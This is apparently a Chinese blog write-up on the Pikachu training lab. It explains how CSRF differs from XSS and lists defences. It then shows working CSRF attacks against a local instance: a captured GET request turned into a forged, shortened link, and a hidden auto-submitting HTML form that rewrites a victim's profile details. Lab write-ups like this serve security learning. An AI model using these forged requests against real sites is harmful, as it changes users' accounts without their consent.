Csrf与xss的区别

CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏 因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF

因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:

  • 对敏感信息的操作增加安全的token;
  • 对敏感信息的操作增加安全的验证码;
  • 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

Pikachu(Get)

image-20240302172947360

点击提交,用burpsuite抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=13789567458&add=usa&email=lucy%40pikachu.com&submit=submit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php
Cookie: PHPSESSID=c5peqlp30l5t2mjtorjmmvik50
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

构造短链接

1
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=13789567458&add=usa&email=lucy%40pikachu.com&submit=submit

使用短链接生成工具

1
http://dlj.bz/

然后浏览器直接访问链接,信息已被更改

picachu(post)

抓包

![](https://s2.loli.net/2024/03/02/RCjUp2cEeG9ALs3.png)

和上一关一样,没有不可 预测的认证信息,但是针对post型,需要自己构造表单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<script> <!-- 这个script是用来自动提交表单的 -->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="12345678922" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="xiannv@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>

然后让被攻击者点击浏览器访问url

1
http://127.0.0.1/test/post.html

于是,就可以发现信息修改了

留个坑 ,实验时候发现报403错误,搜了资料也不管用